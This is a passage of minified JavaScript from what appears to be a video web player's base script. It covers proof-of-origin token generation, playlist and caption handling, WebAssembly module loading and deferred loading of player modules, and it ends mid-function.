VkH=function(x,T){return x.Z===void 0?!1:T.seekDirection==="TIMELY_ACTION_TRIGGER_DIRECTION_FORWARD"&&Number(T.seekLengthMilliseconds)===5E3?x.Z===72:T.seekDirection==="TIMELY_ACTION_TRIGGER_DIRECTION_FORWARD"&&Number(T.seekLengthMilliseconds)===1E4?x.Z===74:T.seekDirection==="TIMELY_ACTION_TRIGGER_DIRECTION_BACKWARD"&&Number(T.seekLengthMilliseconds)===5E3?x.Z===71:T.seekDirection==="TIMELY_ACTION_TRIGGER_DIRECTION_BACKWARD"&&Number(T.seekLengthMilliseconds)===1E4?x.Z===73:!1};
Gam=function(x){if(x=x.getWatchNextResponse()){var T,t;x=(T=x.playerOverlays)==null?void 0:(t=T.playerOverlayRenderer)==null?void 0:t.timelyActionsOverlayViewModel;T=g.N(x,BGv);if(T!=null&&T.timelyActions)return T==null?void 0:T.timelyActions.map(function(u){return g.N(u,WZv)}).filter(function(u){return!!u})}};
DmV=function(x){OT.call(this,x);var T=this;ih(this.api,"getPlaybackRate",function(){return T.api.getPlaybackRate()});
ih(this.api,"setPlaybackRate",function(t){typeof t==="number"&&T.api.setPlaybackRate(t)})};
yD4=function(x){x=x.sY();if(!x)return!1;x=g.sr(x).exp||"";return x.includes("xpv")||x.includes("xpe")};
NGH=function(x){x=g.S(g.l8(x,!0));for(var T=x.next();!T.done;T=x.next())if(yD4(T.value))return!0;return!1};
JDm=function(x,T){x=g.S(g.l8(x,!0));for(var t=x.next();!t.done;t=x.next())if(t=t.value,yD4(t)){var u={potc:"1",pot:T};t.url&&(t.url=uP(t.url,u))}};
Cii=function(x){var T=new sZ3,t={},u=(t["X-Goog-Api-Key"]="AIzaSyDyT5W0Jh49F30Pqqtyfdf7pDLFKLJoAnw",t);return new cO(T,x,function(){return u})};
QK3=function(x){return g.G(function(T){if(T.C==1)return g.PX(T,2),g.v(T,x,4);if(T.C!=2)return g.cX(T,0);g.Yq(T);g.RV(T)})};
d_=function(x){OT.call(this,x);var T=this;this.useLivingRoomPoToken=!1;this.K=new g.mn;this.MJ=null;this.N=!1;this.j=null;this.T=!1;var t=x.Y().getWebPlayerContextConfig();this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"spsumpreject",function(u,H,I){T.T=H;u&&T.N&&!T.j&&(T.B("html5_generate_content_po_token")&&I?T.Ck(I):T.B("html5_generate_session_po_token")&&p7q(T));T.j||T.api.kc("stp",{s:+T.N,b:+T.T})});
this.events.V(x,"poTokenVideoBindingChange",function(u){T.Ck(u)});
this.useLivingRoomPoToken=!(t==null||!t.useLivingRoomPoToken);x.addEventListener("csiinitialized",function(){T.MJ=x.Vs();var u=(T.B("html5_generate_session_po_token")||T.B("html5_generate_content_po_token"))&&!T.useLivingRoomPoToken;try{if(T.B("html5_use_shared_owl_instance"))ONm(T);else if(u){T.MJ.T7("pot_isc");T.B("html5_new_wpo_client")||fgX(T);var H=g.Z9(T.api.Y().experiments,"html5_webpo_kaios_defer_timeout_ms");H?(T.B("html5_new_wpo_client")&&(T.Z=OW()),g.lP(function(){mQ(T)},H)):T.B("html5_webpo_idle_priority_job")?
(T.B("html5_new_wpo_client")&&(T.Z=OW()),g.wx(g.XM(),function(){mQ(T)})):mQ(T)}}catch(I){I instanceof Error&&g.Vh(I)}});
x.addEventListener("trackListLoaded",this.wV.bind(this));x.yk(this)};
w75=function(x){var T=XT(x.experiments,"html5_web_po_request_key");return T?T:g.bS(x)?"Z1elNkAKLpSR3oPOUMSN":"O43z0dpjhgX20SCx4KAo"};
Mp=function(x,T){if(x.B("html5_webpo_bge_ctmp")){var t,u={hwpo:!!x.C,hwpor:!((t=x.C)==null||!t.isReady())};x.api.kc(T,u)}};
ONm=function(x){var T,t;g.G(function(u){if(u.C==1)return Mp(x,"swpo_i"),x.Z=OW(),Ak(x),g.v(u,kw(),2);if(u.C!=3)return T=u.Z,Mp(x,"swpo_co"),g.v(u,o43(T),3);t=u.Z;x.C=KZH(x,t);Mp(x,"swpo_cc");x.C.ready().then(function(){x.K.resolve();Mp(x,"swpo_re")});
g.lP(function(){mQ(x);Mp(x,"swpo_si")},0);
g.RV(u)})};
fgX=function(x){var T=x.api.Y(),t=w75(T),u=Cii(t);T=new Xi({St:t,rP:u,onEvent:function(H){(H=X73[H])&&x.MJ.T7(H)},
onError:g.Vh,b6:S1v(T.experiments),Fm:function(){return void x.api.kc("itr",{})},
KTj:T.experiments.aU("html5_web_po_disable_remote_logging")||x74.includes(g.nq(T.lf)||"")});T.ready().then(function(){return void x.K.resolve()});
g.y(x,T);x.C=T};
TqX=function(x){var T=x.api.Y(),t=Cii(w75(T)),u=t.m7.bind(t);t.m7=function(Z){var e;return g.G(function(l){if(l.C==1)return g.v(l,u(Z),2);e=l.Z;x.api.kc("itr",{});return l.return(e)})};
try{var H=new YF({rP:t,JN:{maxAttempts:5},VO:{disable:T.experiments.aU("html5_web_po_disable_remote_logging")||x74.includes(g.nq(T.lf)||""),pR:S1v(T.experiments),M8m:x.B("wpo_dis_lfdms")?0:1E3},QuU:g.Vh});var I=new pk({KF:H,rP:t,onError:g.Vh});QK3(I.FG()).then(function(){return void x.K.resolve()});
g.y(x,H);g.y(x,I);x.C=KZH(x,I)}catch(Z){g.Vh(Z);var E;(E=H)==null||E.dispose()}};
mQ=function(x){var T=x.api.Y();x.MJ.T7("pot_ist");x.C?x.C.start():x.B("html5_new_wpo_client")&&TqX(x);x.B("html5_bandaid_attach_content_po_token")||(x.B("html5_generate_session_po_token")&&(Ak(x),p7q(x)),T=g.Z9(T.experiments,"html5_session_po_token_interval_time_ms")||0,T>0&&(x.D=g.mF(function(){Ak(x)},T)),x.N=!0)};
Ak=function(x){var T,t,u,H;g.G(function(I){if(!x.B("html5_generate_session_po_token")||x.useLivingRoomPoToken)return I.return();T=x.api.Y();t=g.pr("EOM_VISITOR_DATA")||g.pr("VISITOR_DATA");u=T.Xh?T.datasyncId:t;H=XT(T.experiments,"html5_mock_content_binding_for_session_token")||T.livingRoomPoTokenId||u;T.mY=RJ(x,H);g.RV(I)})};
RJ=function(x,T){if(!x.C)return x.Z?x.Z(T):"";try{var t=x.C.isReady();x.MJ.T7(t?"pot_cms":"pot_csms");var u="";u=x.B("html5_web_po_token_disable_caching")?x.C.N_({Ek:T}):x.C.N_({Ek:T,ZO:{qo:T,xJ9:150,eJ:!0,mC:!0}});x.MJ.T7(t?"pot_cmf":"pot_csmf");if(t){var H;(H=x.j)==null||H.resolve();x.j=null;if(x.T){x.T=!1;var I;(I=x.api.app.VU())==null||I.Ae(!1)}}return u}catch(E){return g.Vh(E),""}};
p7q=function(x){x.C&&(x.j=new XG,x.C.ready().then(function(){x.MJ.T7("pot_if");Ak(x)}))};
KZH=function(x,T){x.B("html5_web_po_token_disable_caching")||T.jp(150);var t=!1,u=QK3(T.FG()).then(function(){t=!0});
return{isReady:function(){return t},
ready:function(){return u},
N_:function(H){return T.N_({Ek:H.Ek,v6:!0,Ss:!0,ZO:H.ZO?{qo:H.ZO.qo,eJ:H.ZO.eJ,mC:H.ZO.mC}:void 0})},
start:function(){}}};
opm=function(x){OT.call(this,x);var T=this;this.freePreviewWatchedDuration=null;this.freePreviewUsageDetails=[];this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"heartbeatRequest",function(t){if(T.freePreviewUsageDetails.length||T.freePreviewWatchedDuration!==null)t.heartbeatRequestParams||(t.heartbeatRequestParams={}),t.heartbeatRequestParams.unpluggedParams||(t.heartbeatRequestParams.unpluggedParams={}),T.freePreviewUsageDetails.length>0?t.heartbeatRequestParams.unpluggedParams.freePreviewUsageDetails=
T.freePreviewUsageDetails:t.heartbeatRequestParams.unpluggedParams.freePreviewWatchedDuration={seconds:""+T.freePreviewWatchedDuration}});
HF(x,"setFreePreviewWatchedDuration",function(t){T.freePreviewWatchedDuration=t});
HF(x,"setFreePreviewUsageDetails",function(t){T.freePreviewUsageDetails=t})};
P8=function(x){g.W.call(this);this.features=[];var T=this.C,t=new Yz(x),u=new fW(x),H=new h6(x),I=new d_(x);var E=g.Yv(x.Y())?void 0:new mq(x);var Z=new F8(x),e=new Um3(x),l=new DmV(x),m=new cw(x);var d=g.Yv(x.Y())?new opm(x):void 0;var M=x.B("html5_enable_ssap")?new RV3(x):void 0;var A=x.B("web_cinematic_watch_settings")&&(A=x.Y().getWebPlayerContextConfig())!=null&&A.cinematicSettingsAvailable?new qy(x):void 0;var R=new Sp(x);var Y=x.B("enable_courses_player_overlay_purchase")?new d8f(x):void 0;
var b=g.f1(x.Y())?new jaC(x):void 0;var z=new dS(x);var F=x.Y().K?new HTX(x):void 0;var V=g.zw(x.Y())?new $83(x):void 0;var B=x.B("web_player_move_autonav_toggle")&&x.Y().L4?new XAv(x):void 0;var D=g.f1(x.Y())?new Akv(x):void 0;var f=x.B("web_enable_speedmaster")&&g.f1(x.Y())?new u8(x):void 0;var O=x.Y().vE?void 0:new v63(x);var sH=x.B("report_pml_debug_signal")?new OFV(x):void 0;var HX=new vM3(x),xq=new Lw(x);var J=g.L2(x.Y())?new yk5(x):void 0;var X=navigator.mediaSession&&window.MediaMetadata&&
x.Y().ir?new zU(x):void 0;var c=x.B("html5_enable_drc")&&!x.Y().D?new lL(x):void 0;var C=new KW(x);var WX=g.f1(x.Y())?new TGD(x):void 0;var PE=x.B("html5_enable_d6de4")?new vk(x):void 0;var j0=g.f1(x.Y())&&x.B("web_sleep_timer")?new Kw(x):void 0;var r5=g.zw(x.Y())?new IRC(x):void 0;var w5=new O2(x),tM=new ZA(x),md=new MYv(x);var r=x.B("enable_sabr_snackbar_message")?new lgi(x):void 0;var k=x.B("web_enable_timely_actions")?new LZi(x):void 0;T.call(this,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D,f,O,sH,
HX,xq,J,void 0,X,c,C,void 0,WX,PE,j0,r5,void 0,w5,tM,md,void 0,r,k,new jp(x))};
SY=function(){this.Z=this.C=NaN};
t6V=function(x,T){this.Cf=x;this.timerName="";this.j=!1;this.Z=NaN;this.K=new SY;this.C=T||null;this.j=!1};
soi=function(x,T,t){var u=g.Gw(T.Pv)&&!T.Pv.D;if(T.Pv.kX&&(FB(T.Pv)||T.Pv.Om==="shortspage"||T8(T.Pv)||u)&&!x.j){x.j=!0;x.D=T.clientPlaybackNonce;g.pr("TIMING_ACTION")||Q0("TIMING_ACTION",x.Cf.csiPageType);x.Cf.csiServiceName&&Q0("CSI_SERVICE_NAME",x.Cf.csiServiceName);if(x.C){u=x.C.Vs();for(var H=g.S(Object.keys(u)),I=H.next();!I.done;I=H.next())I=I.value,a3(I,u[I],x.timerName);u=g.Kr(acV)(x.C.Qn);g.gO(u,x.timerName);u=x.C;u.Z={};u.Qn={}}g.gO({playerInfo:{visibilityState:g.Kr(ne3)()},playerType:"LATENCY_PLAYER_HTML5"},
x.timerName);x.T!==T.clientPlaybackNonce||Number.isNaN(x.Z)||(WM("_start",x.timerName)?t=g.Kr(vM)("_start",x.timerName)+x.Z:g.Vh(new g.CS("attempted to log gapless pbs before CSI timeline started",{cpn:T.clientPlaybackNonce})));t&&!WM("pbs",x.timerName)&&x.tick("pbs",t)}};
ubf=function(x,T,t,u,H,I,E){x=(x===t?"video":"ad")+"_to_"+(T===t?"video":"ad");if(x!=="video_to_ad"||I!=null&&I.uG){I=x==="ad_to_video"?I:u;t=I==null?void 0:I.DD;var Z={};if(u==null?0:u.D)Z.cttAuthInfo={token:u.D,videoId:u.videoId};H&&(Z.startTime=H);BM(x,Z);var e,l,m;u={targetVideoId:(e=u==null?void 0:u.videoId)!=null?e:"empty_video",targetCpn:T,adVideoId:(l=I==null?void 0:I.videoId)!=null?l:"empty_video",adClientPlaybackNonce:(m=t==null?void 0:t.cpn)!=null?m:I==null?void 0:I.clientPlaybackNonce};
t&&(u.adBreakType=t.adBreakType,u.adType=t.adType);g.gO(u,x);a3("pbs",E!=null?E:(0,g.bo)(),x)}};
c8=function(x){pem();Qs3();x.timerName=""};
$7f=function(x){if(x.C){var T=x.C;T.Z={};T.Qn={}}x.j=!1;x.T=void 0;x.Z=NaN};
H_m=function(x,T){g.$B.call(this);this.Pv=x;this.startSeconds=0;this.shuffle=!1;this.index=0;this.title="";this.length=0;this.items=[];this.loaded=!1;this.sessionData=this.C=null;this.dislikes=this.likes=this.views=0;this.order=[];this.author="";this.S={};this.Z=0;if(x=T.session_data)this.sessionData=xD(x,"&");this.index=Math.max(0,Number(T.index)||0);this.loop=!!T.loop;this.startSeconds=Number(T.startSeconds)||0;this.title=T.playlist_title||"";this.description=T.playlist_description||"";this.author=
T.author||T.playlist_author||"";T.video_id&&(this.items[this.index]=T);if(x=T.api)typeof x==="string"&&x.length===16?T.list="PL"+x:T.playlist=x;if(x=T.list)switch(T.listType){case "user_uploads":this.listId=new PK("UU","PLAYER_"+x);break;default:var t=T.playlist_length;t&&(this.length=Number(t)||0);this.listId=g.SO(x);if(x=T.video)this.items=x.slice(0),this.loaded=!0}else if(T.playlist){x=T.playlist.toString().split(",");this.index>0&&(this.items=[]);x=g.S(x);for(t=x.next();!t.done;t=x.next())(t=
t.value)&&this.items.push({video_id:t});this.length=this.items.length;if(x=T.video)this.items=x.slice(0),this.loaded=!0}this.setShuffle(!!T.shuffle);if(x=T.suggestedQuality)this.quality=x;this.S=d0(T,"playlist_");this.j=(T=T.thumbnail_ids)?T.split(","):[]};
i_i=function(x){return!!(x.playlist||x.list||x.api)};
I8J=function(x){var T=x.index+1;return T>=x.length?0:T};
Epv=function(x){var T=x.index-1;return T<0?x.length-1:T};
g.YM=function(x,T,t,u){T=T!==void 0?T:x.index;T=x.items&&T in x.items?x.items[x.order[T]]:null;var H=null;T&&(t&&(T.autoplay="1"),u&&(T.autonav="1"),H=new g.NE(x.Pv,T),g.y(x,H),H.yw=!0,H.startSeconds=x.startSeconds||H.clipStart||0,x.listId&&(H.playlistId=x.listId.toString()));return H};
qQJ=function(x,T){x.index=g.iu(T,0,x.length-1);x.startSeconds=0};
Z_V=function(x,T){if(T.video&&T.video.length){x.title=T.title||"";x.description=T.description;x.views=T.views;x.likes=T.likes;x.dislikes=T.dislikes;x.author=T.author||"";var t=T.loop;t&&(x.loop=t);t=g.YM(x);x.items=[];for(var u=g.S(T.video),H=u.next();!H.done;H=u.next())if(H=H.value)H.video_id=H.encrypted_id,x.items.push(H);x.length=x.items.length;(T=T.index)?x.index=T:x.findIndex(t);x.setShuffle(!1);x.loaded=!0;x.Z++;x.C&&x.C()}};
l84=function(x,T){var t,u,H,I,E,Z,e;return g.G(function(l){if(l.C==1){t=g.s6();var m=x.Y(),d={context:g.uh(x),playbackContext:{contentPlaybackContext:{ancestorOrigins:m.ancestorOrigins}}},M=m.getWebPlayerContextConfig();if(M==null?0:M.encryptedHostFlags)d.playbackContext.contentPlaybackContext.encryptedHostFlags=M.encryptedHostFlags;if(M==null?0:M.hideInfo)d.playerParams={showinfo:!1};m=m.embedConfig;M=T.docid||T.video_id||T.videoId||T.id;if(!M){M=T.raw_embedded_player_response;if(!M){var A=T.embedded_player_response;
A&&(M=JSON.parse(A))}if(M){var R,Y,b,z,F,V;M=((V=g.N((R=M)==null?void 0:(Y=R.embedPreview)==null?void 0:(b=Y.thumbnailPreviewRenderer)==null?void 0:(z=b.playButton)==null?void 0:(F=z.buttonRenderer)==null?void 0:F.navigationEndpoint,g.KB))==null?void 0:V.videoId)||null}else M=null}R=(R=M)?R:void 0;Y=x.playlistId?x.playlistId:T.list;b=T.listType;if(Y){var B;b==="user_uploads"?B={username:Y}:B={playlistId:Y};jof(m,R,T,B);d.playlistRequest=B}else T.playlist?(B={templistVideoIds:T.playlist.toString().split(",")},
jof(m,R,T,B),d.playlistRequest=B):R&&(B={videoId:R},m&&(B.serializedThirdPartyEmbedConfig=m),d.singleVideoRequest=B);u=d;H=g.K2(eFm);g.PX(l,2);return g.v(l,g.QK(t,u,H),4)}if(l.C!=2)return I=l.Z,E=x.Y(),T.raw_embedded_player_response=I,E.Hv=ij(T,g.zw(E)),E.j=E.Hv==="EMBEDDED_PLAYER_MODE_PFL",I&&(Z=I,Z.trackingParams&&Ff(Z.trackingParams)),l.return(new g.NE(E,T));e=g.Yq(l);e instanceof Error||(e=Error("b259802748"));g.vW(e);return l.return(x)})};
jof=function(x,T,t,u){t.index&&(u.playlistIndex=String(Number(t.index)+1));u.videoId=T?T:"";x&&(u.serializedThirdPartyEmbedConfig=x)};
g.b8=function(x,T){UZ.get(x);UZ.set(x,T)};
g.r_=function(x){g.$B.call(this);this.loaded=!1;this.player=x};
m7V=function(){this.Z=[];this.C=[]};
g.l8=function(x,T){return T?x.C.concat(x.Z):x.C};
g.z6=function(x,T){switch(T.kind){case "asr":d73(T,x.Z);break;default:d73(T,x.C)}};
d73=function(x,T){g.Oh(T,function(t){return x.RH(t)})||T.push(x)};
g.kM=function(x){g.W.call(this);this.qj=x;this.Z=new m7V;this.K=null;this.T=[];this.J=[]};
g.FC=function(x,T,t){g.kM.call(this,x);this.videoData=T;this.audioTrack=t;this.C=null;this.j=!1;this.T=T.U6;this.J=T.dL;this.j=g.DF(T)};
g.hk=function(x,T){return t0(x.info.mimeType)?T?x.info.itag===T:!0:!1};
g.M6m=function(x,T){if(x.C!=null&&g.Yv(T.Y())&&!x.C.isManifestless&&x.C.C.rawcc!=null)return!0;if(!x.B9())return!1;T=!!x.C&&x.C.isManifestless&&Object.values(x.C.C).some(function(t){return g.hk(t,"386")});
x=!!x.C&&!x.C.isManifestless&&g.vjH(x.C);return T||x};
g.v8=function(x,T,t,u,H,I){g.kM.call(this,x);this.videoId=t;this.F8=H;this.eventId=I;this.D={};this.C=null;x=u||g.sr(T).hl||"";x=x.split("_").join("-");this.j=uP(T,{hl:x})};
ANV=function(x,T){this.Z=x;this.C=T;this.onFailure=void 0};
RFv=function(x,T){return{mL:x.mL&&T.mL,OY:x.OY&&T.OY,sync:x.sync&&T.sync,streaming:x.streaming&&T.streaming}};
G6=function(x,T){var t=PdX,u=this;this.path=x;this.j=T;this.K=t;this.capabilities={mL:!!this.j,OY:"WebAssembly"in window,sync:"WebAssembly"in window,streaming:"WebAssembly"in window&&"instantiateStreaming"in WebAssembly&&"compileStreaming"in WebAssembly};this.T=new ANV([{name:"compileStreaming",condition:function(H){return!!u.Z&&H.streaming},
a5:V1.o$("wmcx",function(){return WebAssembly.compileStreaming(fetch(u.path))}),
onFailure:function(){return u.capabilities.streaming=!1}},
{name:"sync",condition:function(H){return H.sync},
a5:function(){return mH(SQv(u),V1.o$("wmcs",function(H){return new WebAssembly.Module(H)}))},
onFailure:function(){return u.capabilities.sync=!1}},
{name:"async",condition:function(){return!0},
a5:function(){return mH(SQv(u),V1.o$("wmca",function(H){return WebAssembly.compile(H)}))},
onFailure:function(){return u.capabilities.OY=!1}}]);
this.D=new ANV([{name:"instantiateStreaming",condition:function(H){return H.OY&&H.streaming&&!u.Z&&!u.C},
a5:function(H,I){return V1.Hf("wmix",function(){return WebAssembly.instantiateStreaming(fetch(u.path),I)}).then(function(E){u.C=q8(E.module);
return{instance:E.instance,Vv:!1}})},
onFailure:function(){return u.capabilities.streaming=!1}},
{name:"sync",condition:function(H){return H.OY&&H.sync},
a5:function(H,I){return mH(cNi(u,H),V1.o$("wmis",function(E){return{instance:new WebAssembly.Instance(E,I),Vv:!1}}))},
onFailure:function(){return u.capabilities.sync=!1}},
{name:"async",condition:function(H){return H.OY},
a5:function(H,I){return mH(mH(cNi(u,H),V1.o$("wmia",function(E){return WebAssembly.instantiate(E,I)})),function(E){return{instance:E,
Vv:!1}})},
onFailure:function(){return u.capabilities.OY=!1}},
{name:"asmjs",condition:function(H){return H.mL},
a5:function(H,I){return q8(V1.Hf("wmij",function(){return u.j(I)}).then(function(E){return{instance:{exports:E},
Vv:!0}}))},
onFailure:function(){return u.capabilities.mL=!1}}],function(H,I,E){return u.K(E,H.instance.exports)})};
b_V=function(x){var T=YQJ;return T.instantiate(x?RFv(T.capabilities,x):T.capabilities,new U73)};
SQv=function(x){if(x.Z)return x.Z;var T=fetch(x.path).then(function(t){return t.arrayBuffer()}).then(function(t){x.Z=q8(t);
return t}).then(void 0,function(t){g.Vh(Error("wasm module fetch failure: "+t.message,{cause:t}));
x.Z=void 0;throw t;});
x.Z=q8(T);return x.Z};
cNi=function(x,T){if(!T.OY)return jv(Error("wasm unavailable"));if(x.C)return x.C;x.C=dI(mH(x.compile(T),function(t){x.C=q8(t);return t}),function(t){g.Vh(Error("wasm module compile failure: "+t.message,{cause:t}));
x.C=void 0;throw t;});
return x.C};
rN3=function(){};
zFf=function(){var x=this;this.proc_exit=function(){};
this.fd_write=function(T,t,u){if(!x.exports)return 1;T=new Uint32Array(x.exports.memory.buffer,t,u*2);t=[];for(var H=0;H<u;++H){var I=new Uint8Array(x.exports.memory.buffer,T[H*2],T[H*2+1]);I=g.U6(I);t.push(I)}return t.reduce(function(E,Z){return E+Z.length},0)}};
U73=function(){this.env=new rN3;this.wasi_snapshot_preview1=new zFf};
PdX=function(x,T){x.wasi_snapshot_preview1.exports=T;x=Math.floor(Math.random()*256);var t=Math.floor(Math.random()*256),u=0;try{u=T.malloc(16);(new Uint8Array(T.memory.buffer,u,16)).fill(x);if(T.sentinel(u,16,t)!==t*16%256)return!1;for(var H=new Uint8Array(T.memory.buffer,u,16),I=0;I<16;I++)if(H[I]!==(x+t)%256)return!1;return!0}finally{u!==0&&T.free(u)}};
kvv=function(x,T){this.instance=x;this.Vv=T;this.exports=this.C=this.instance.exports};
hFJ=function(x,T,t){t=t===void 0?!1:t;var u=u===void 0?!0:u;var H=V1.J2();return mH(Fav(x,T,{mL:t,OY:!0,sync:!0,streaming:!0},u),function(I){V1.II(I.Vv?"winitjs":"winit",H);return I})};
Fav=function(x,T,t,u){u=u===void 0?!0:u;YQJ||(YQJ=new G6(x,T));return mH(b_V(t),function(H){return new kvv(H.instance,H.Vv,u)})};
vpJ=function(x,T){g.W.call(this);var t=this;this.U=x;this.C=T;this.Qn={};this.Z={};this.j=null;this.K=new Set;this.T=new g.nj(this);this.yF={vn7:function(){return t.C},
n8:function(){return t.n8()}};
this.D=this.U.B("web_player_defer_modules");this.uD=new Map;g.y(this,this.T);this.T.V(x,"videodatachange",this.onVideoDataChange)};
g.Lb=function(x){return x.uD.get("captions")};
gpH=function(x,T){switch(T){case "ad":return V65(x);case "annotations_module":return x.U.isEmbedsShortsMode()?x=!1:(T=x.U,x=T.Y(),T=T.getVideoData(),x=x.j||T.uC||x.controlsType==="3"?!1:x.hQ.isEmpty()&&x.playerStyle!=="annotation-editor"&&x.playerStyle!=="live-dashboard"?!!T.mu||!!g.Vs(T)||!!g.gb(T):!0),x;case "asmjs":return x.U.Y().B("html5_allow_asmjs");case "creatorendscreen":return Gvm(x);case "embed":return g.zw(x.U.Y());case "endscreen":return g.La3(x);case "heartbeat":return x.f8();case "kids":return Dm(x.U.Y());
case "remote":return x.U.Y().tI;case "miniplayer":return x.U.Y().showMiniplayerUiWhenMinimized;case "offline":return x.U.Y().nU;case "captions":return npq(x);case "unplugged":return g.L1(x.U.Y());case "ux":return x.U.Y().Ee;case "webgl":return a8q(x);case "ypc":return x.IB();case "ypc_clickwrap":return x=x.U.getVideoData(),x.Xt&&!x.oo;case "yto":return!!x.U.getVideoData().Hv.includes("yto");default:return g.vW(Error("Module descriptor "+T+" does not match")),!1}};
nb=function(x,T,t,u,H){var I;t=t===void 0?!1:t;u=u===void 0?!1:u;var E=x.uD.get(T);if(!E||u)if(H||(H=function(){nb(x,T,t,u)}),I||(I=function(){x.U.Do(T)}),E=E||Bq5(x,T,gpH(x,T),H,I))x.uD.set(T,E),E.create(),x.U.publish("modulecreated",T),t&&x.U.gN("onApiChange")};
D7f=function(x){var T=T===void 0?!1:T;var t,u,H,I,E;return g.G(function(Z){if(Z.C==1)return(t=x.uD.get("asmjs"))&&!T?Z.return(t):(u=UZ.get("asmjs"))!=null?(H=u,Z.lG(2)):g.v(Z,new Promise(function(e,l){WaH(x,"asmjs",function(){var m=UZ.get("asmjs");m?e(m):l("cannot load module asmjs")},l)}),3);
Z.C!=2&&(H=Z.Z);I=H;if(!I)return Z.return(Promise.reject("cannot load module asmjs"));E=new I(x.U);x.uD.set("asmjs",E);E.create();return Z.return(E)})};
JN3=function(x){yNm(x)&&x.ZT();NqV(x)&&(nb(x,"captions",!0),nb(x,"endscreen"),x.yn(),nb(x,"creatorendscreen",!0))};
NqV=function(x){var T=x.U.getVideoData(),t=x.D&&!T.isInlinePlaybackNoAd;x.U.B("html5_defer_modules_on_ads_only")&&!T.isAd()&&(t=!1);return t};
yNm=function(x){x=x.U.getVideoData();var T;if(T=x.B("web_player_defer_ad")){if(g.wy(x.Hv,"ad")||pbv(x)||x.enableServerStitchedDai)x=!1;else{T=x.playerResponse;x=x.startSeconds;var t=T==null?void 0:T.adPlacements;if(T=t){T=Number.MAX_VALUE;t=g.S(t);for(var u=t.next();!u.done;u=t.next())if(u=u.value.adPlacementRenderer){var H=void 0,I=(H=u.config)==null?void 0:H.adPlacementConfig;H=void 0;if(((H=I)==null?void 0:H.kind)==="AD_PLACEMENT_KIND_MILLISECONDS"){var E=H=void 0;I=Number((H=I)==null?void 0:(E=
H.adTimeOffset)==null?void 0:E.offsetStartMilliseconds)||0;E=H=void 0;u=Number(((H=u.renderer)==null?void 0:(E=H.adBreakServiceRenderer)==null?void 0:E.prefetchMilliseconds)||0);u=I-u;u<T&&(T=u)}}T=T-5E3<=x*1E3}x=T?!1:!0}T=x}return T};
npq=function(x){var T=x.U.getVideoData();return!!T.qz||!!T.captionTracks.length||g.M6m(T,x.U)};
g.La3=function(x){var T=x.U.Y();if(T.j||T8(T)||T.D||!T.Jq&&!T.pF)return!1;var t=x.U.getPresentingPlayerType();if(t===2)return!1;if(t===3)return T.B("desktop_enable_autoplay");x=x.U.getVideoData();if(!x)return!1;t=!x.isLiveDefaultBroadcast||T.B("allow_poltergust_autoplay");t=x.isLivePlayback&&(!T.B("allow_live_autoplay")||!t);T=x.isLivePlayback&&T.B("allow_live_autoplay_on_mweb");return!t||T};
g.hW=function(x){return x.uD.get("webgl")};
a8q=function(x){var T=x.U.getVideoData();x=x.U.Y();var t=g.PNm(),u=x.B("enable_spherical_kabuki"),H=g.xc(x);if(g.hB(T))return t||u||H;if(g.k7(T))return H||t||u;if(g.FU(T))return H||t||!1;if(g.mE(T))return H||!1;t=T.Z&&T.Z.video&&T.Z.video.isHdr();return H&&!g.AB(T)&&!t&&x.B("enable_webgl_noop")};
V65=function(x){if(x.U.Y().j)return!1;x=x.U.getVideoData(1);var T=x.getPlayerResponse();if(T){var t=T.adPlacements;if(t)for(var u=0;u<t.length;u++)if(t[u].adPlacementRenderer)return!0;if(T.adSlots)return!0}return g.pB(x)?!0:!1};
Gvm=function(x){if(x.U.isEmbedsShortsMode())return!1;x=x.U;var T=x.Y();if(T.j)return!1;var t;if(((t=T.getWebPlayerContextConfig())==null?0:t.embedsEnableEmc3ds)||T.controlsType==="3")return!1;if(T.playerStyle==="creator-endscreen-editor")return!0;t=x.getVideoData();return!!t&&(!!g.s85(t)||!!g.u04(t))};
Bq5=function(x,T,t,u,H){try{if(t){var I=UZ.get(T);if(I)return new I(x.U);WaH(x,T,u,H)}else x.U.Do(T)}catch(E){x.U.Do(T),g.vW(E)}return null};
aJ=function(x,T,t){if(x.U.Y().B("html5_dispose_modules_in_order"))for(var u=g.S(CdJ),H=u.next();!H.done;H=u.next()){H=H.value;var I=x.uD.get(H);I&&(t||I.uy(T))&&(g.IP(I),x.uD.delete(H))}else for(u=g.S(x.uD),H=u.next();!H.done;H=u.next())I=g.S(H.value),H=I.next().value,(I=I.next().value)&&(t||I.uy(T))&&(g.IP(I),x.uD.delete(H))};
g_=function(x){return x.uD.get("ad")};
Qov=function(x){if(Dm(x.U.Y()))return x.uD.get("kids")};
zt=function(x){if(x.U.Y().tI)return x.uD.get("remote")};
g.B8=function(x){if(g.L1(x.U.Y()))return x.uD.get("unplugged")};
FkJ=function(x){if(x.U.Y().Ee)return x.uD.get("ux")};
pn3=function(x){if(x.U.Y().showMiniplayerUiWhenMinimized)return x.uD.get("miniplayer")};
W8=function(x){if(x.U.Y().nU)return x.uD.get("offline")};
g.Ds=function(x){return x.uD.get("annotations_module")};
y1=function(x){return x.uD.get("creatorendscreen")};
f8V=function(x,T){var t=x.C.startsWith("https://")?x.C+"lib.wasm":x.C.split("/").slice(0,4).join("/")+"/wasm/lib.wasm";return hFJ(t,function(u){var H=x.uD.get("asmjs");return H?Promise.resolve(H.pn(u)):O_5(x).then(function(I){return I.pn(u)})},T)};
O_5=function(x){var T,t;return g.G(function(u){if(u.C==1)return g.v(u,D7f(x),2);t=T=u.Z;return u.return(t)})};
WaH=function(x,T,t,u){if(x.C){var H=wnq[T];Kaq(x,x.C+H,function(){x.K.add(H);t.call(x)},u)}};
Kaq=function(x,T,t,u){function H(){x.T9()||u.call(x)}
function I(){x.T9()||t.call(x)}
for(var E=g.D3("SCRIPT"),Z=!1,e,l=0;l<E.length;l++){var m=E[l];if(m.src===T||m.getAttribute("data-original-src")===T)e=m}e||(e=g.Xn("SCRIPT"),e.setAttribute("data-original-src",T),Z=!0);var d=e.onload;e.onload=function(Y){ta(I);d&&d.apply(window,[Y])};
var M=e.onerror;e.onerror=function(Y){if(Math.random()<.01){var b=new g.CS("Unable to load player module",T,document.location&&document.location.origin);g.vW(b)}ta(H);M&&M(Y)};
var A=e,R=A.onreadystatechange;A.onreadystatechange=function(Y){switch(A.readyState){case "loaded":case "complete":ta(I)}R&&R(Y)};
